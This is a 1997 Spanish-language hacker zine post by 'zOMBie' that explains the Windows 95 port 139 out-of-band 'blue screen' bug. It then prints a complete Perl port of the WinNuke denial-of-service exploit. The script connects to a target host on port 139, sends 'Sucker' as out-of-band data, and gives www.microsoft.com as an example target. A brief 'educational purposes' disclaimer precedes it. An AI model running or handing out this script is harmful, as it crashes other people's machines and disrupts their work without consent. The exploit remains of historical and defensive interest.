Matador para Win95! en Perl!

[zombie@www.bhtc.utep.edu]

 Hola amiguitos del club de Perl :-) espero que se encuentren un poco 
felices ya que pronto entraremos o ya entramos algunos a nuestros 
quehaceres cotidianos de hacer tareas, leer y repasar apuntes aghhh que 
flojera no? :-) Bueno solo les deseo un feliz Otono'97.

Para aquellas personas no muy aptas a las noticias en la NET Microsoft ah 
tenido varios dolores de cabeza con algunos superBUGS en el systema 
operativo Win95 (que a mi en lo personal no me gusta del todo) causando un 
"Panic Attack" en el puerto 139. Este bug se hizo famoso hace ya al rededor 
de 2 o 3 meses y puede causar varios dolores de cabeza a los usuarios que 
esten conectados en RED ya sea LAN, Intranet e Internet. Pero como funciona 
esto? Bueno pues supongamos que tu estas muy entretenido en tu primer 
programa de Pascal y derepente b0000m se te pone la pantala en un color
Azulado y se te atora por espacio de algunos segundos hasta qu tu oprimas 
alguna tecla en el keyboard. Y sigues haciendo el programa como si nada. 
BUENO aqui esta el enga~no. Para no hacerselas mas de emocion porque no lo 
tratan ustedes mismos :-) Claro bajo su propia responsabilidad Ok recuerden 
que este es un programa solo hecho para Uso personal y a la vez para 
perfeccionar tu seguridad computacional. Un peque~no disclaimer: No me hago 
responsable del uso de este programa en cuestion de el mal uso del mismo. 
Este programa es hecho para fines educacionales y conocimiento 
computacional.

======EMPIEZA AQUI 8< ======================================
#!/usr/bin/perl

#`zOMBie-  May/1997 [Perl version of winnuke.c by _eci]
#Microsoft sux!
#El universo esta a tus alcances :-)

use strict; use Socket;

my($h,$p,$in_addr,$proto,$addr);

$h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]);
if (!$h) { print "Escriba el HOST deseado. eje:www.microsoft.com\n"; }

$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;

connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;

print "Sending the exploit to: $h:$p\n"; send S,"Sucker",MSG_OOB; print
"Nuk3 it in dA B4c|< 0f Da d00r!\n"; close S;



===ACABA AQUI 8< ==============================================

Juarez-Underground Productions
`zOMBie- 1997